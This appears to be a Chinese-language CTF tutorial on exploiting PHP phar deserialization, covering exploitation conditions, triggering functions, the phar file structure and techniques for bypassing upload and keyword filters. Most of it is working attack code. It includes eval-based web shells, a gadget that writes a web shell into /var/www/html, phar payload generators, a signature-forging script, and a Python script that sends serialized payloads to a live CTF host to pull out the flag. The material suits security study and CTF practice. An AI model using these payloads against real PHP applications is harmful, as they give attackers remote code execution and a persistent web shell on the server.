概念
phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化
流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化
最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化
利用条件
1 2 3 4 5 6 7 8 9 10 11
| 1.phar文件能够上传至服务器
2.要有可利用的魔术方法
3.文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
4.php版本大于5.3.0 5.phar.readonly选项为OFF
|
可用函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| xmlwrite_open_uri readgzfile gzfile mime_content_type imagecreatefrompng imagecreatefromgif imagecreatefromjpeg imagecreatefromwbmp imagecreatefromxbm imagecreatefromgd imagecreatefromgd2 imageloadfont simplexml_load_file sha1_file md5_file getimagesize unlink highlight_file show_source php_strip_whitespace parse_ini_file readfile rmdir mkdir file file_get_contents get_meta_tags opendir dir scandir fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat touch
$zip = new ZipArchive(); $res = $zip->open('c.zip'); $zip->extractTo('phar://test.phar/test');
<?php $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456")); @$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa'); ?>
|
phar生成后结构
php.ini中的phar.readonly选项,需要为Off(默认是on)
1 2 3 4
| stub:phar文件的标志,必须要以xxx__HALT_COMPILER();?>结尾,否则无法识别,其中的.xxx可以是自定义内容 maifest:phar文件本质上是一种压缩文件,其中每个压缩文件的权限属性等信息都放在这个部分,这个部分还会以序列化的形式储存用户自定义的meta-data内容,这是漏洞利用最核心的地方 content:被压缩文件的内容 signature(可空):签名,放在末尾
|
绕过后缀检查
phar文件是很容易绕过上传限制的,首先它的后缀是不限制的,改成什么phar://协议都可以解析,因此可以用来绕过后缀检查,在文件包含情况下,可以直接执行php代码方式如下:
test.php
1
| <?php eval($_POST[1]);?>
|
把test.php压缩,改后缀.jpg
index.php
1 2
| <?php include('phar://./test.jpg/test.php')
|
绕过前后脏数据
由于签名存在,php会校验文件哈希值并且检查末尾是否为四位GBM,多一位都不行
一旦出现了脏数据,我们可以利用convertToExecutable
函数,把phar文件转化为其他格式的phar文件,例如.tar
和.zip
PHP: Phar::convertToExecutable - Manual
如果以.tar
格式储存phar,那么由于tar的格式,末尾的脏数据不会影响解析
对于开头的脏数据,可以在制作phar文件时就提前构造好,类似于GIF89a
文件头绕过这样也会被签名,然后提取脏数据后面的phar部分与脏数据拼接成合法的phar
1 2 3 4 5 6 7 8 9 10
| $phar = new Phar("poc.phar"); $phar->startBuffering();
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($c);
$phar->addFromString("test1.txt","test1");
$phar->stopBuffering();
|
来看一个来自2021N1CTF–easyphp的例子
例中需要写入的log文件在开头有脏数据$log
会一起传入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
CLASS FLAG { public function __destruct(){ echo "FLAG: " . $this->_flag; } }
$ip = "172.17.0.1"; $log = 'Time: ' . date('Y-m-d H:i:s') . ' IP: [' . $ip . '], REQUEST: [], CONTENT: ['; $data_len = strlen($log);
if(!file_exists("./phar.tar")){ $phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR); $phar->startBuffering(); $o = new FLAG(); $phar->setMetadata($o); $phar->addFromString($log, "test"); $phar->stopBuffering(); file_put_contents("./phar.tar", "]\n", FILE_APPEND); }
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, $data_len); echo rawurlencode($post_exp);
|
还有一个测试赛的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php unlink("a.phar.tar"); class Logger{ private $filename = "/var/www/html/shell.php"; private $endContent = '<?php eval($_POST["shell"]);?>'; } $log = "Type:INFO Messsage:"; $log_len = strlen($log); $phar = new Phar("a.phar"); $phar = $phar->convertToExecutable(Phar::TAR); $phar->startBuffering(); $phar->addFromString("Type:INFO Messsage:","");
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>"); $test = new Logger(); $phar->setMetadata($test);
$phar->stopBuffering(); $exp = file_get_contents("./a.phar.tar"); $post_exp = substr($exp, $log_len); echo rawurlencode($post_exp);
|
绕过协议开头关键字
phar协议头,file_exist必须加,include可以不加
当环境限制了phar不能出现在其他字符的前面
1 2 3 4 5
| $z='compress.bzip://phar:///test.phar/test.txt' $z='compress.bzip2://phar:///test.phar/test.txt' $z='compress.zlib://phar:///home/sx/test.phar/test.txt' $z='php://filter/resource=phar:///test.phar/test.txt' file_get_contents($z);
|
绕过内部关键字
phar文件生成时__HALT_COMPILER(); ?>前面没有<?php也可以
1 2 3 4 5 6 7 8 9 10 11
| <?php class aa{} $o = new aa(); $filename = 'test.phar'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("__HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering();
|
更通用的是
由于phar文件在压缩后依然有效但内部关键字无法被识别,可以用来绕过phar文件格式检查
附一个之前的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import requests import gzip import re
url = 'http://1.14.71.254:28496/'
file = open("ph2.phar","rb") file_out = gzip.open("phar.zip","wb+") file_out.writelines(file) file_out.close() file.close()
requests.post( url, params={ 0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'
}, data={ 0: open('phar.zip','rb').read() } )
res = requests.post( url, params={ 0: 'O:1:"A":1:{s:6:"config";s:1:"r";}' }, data={ 0: 'phar://tmp/a.txt' } ) res.encoding='utf-8' flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0] print(flag)
|
更换签名
在生成后想要直接修改内容需要更换新的签名
更换签名的脚本
1 2 3 4 5 6 7 8
| from hashlib import sha1 with open('test.phar','rb') as file: f = file.read() s = f[:-28] h = f[-8:] newf = s + sha1(s).digest() + h with open('newtest.phar','wb') as file: file.write(newf)
|
绕过GIF89a检查格式关键字
前面这个标志的格式为xxx<?php xxx; __HALT_COMPILER();?>
前面内容不限,这样可以在前面添加注入GIF98a
这样的文件头绕过上传限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class test{ public $name="qwq"; function __destruct() { echo $this->name; } } $a = new test(); $a->name="phpinfo();"; $phartest=new phar('phartest.phar',0); $phartest->startBuffering(); $phartest->setMetadata($a); $phartest->setStub("<?php __HALT_COMPILER();?>"); $phartest->addFromString("test.txt","test");
$phartest->stopBuffering(); ?>
|
利用上述生成文件后反序列化
1
| $phardemo = file_get_contents('phar://phartest.phar/test.txt');
|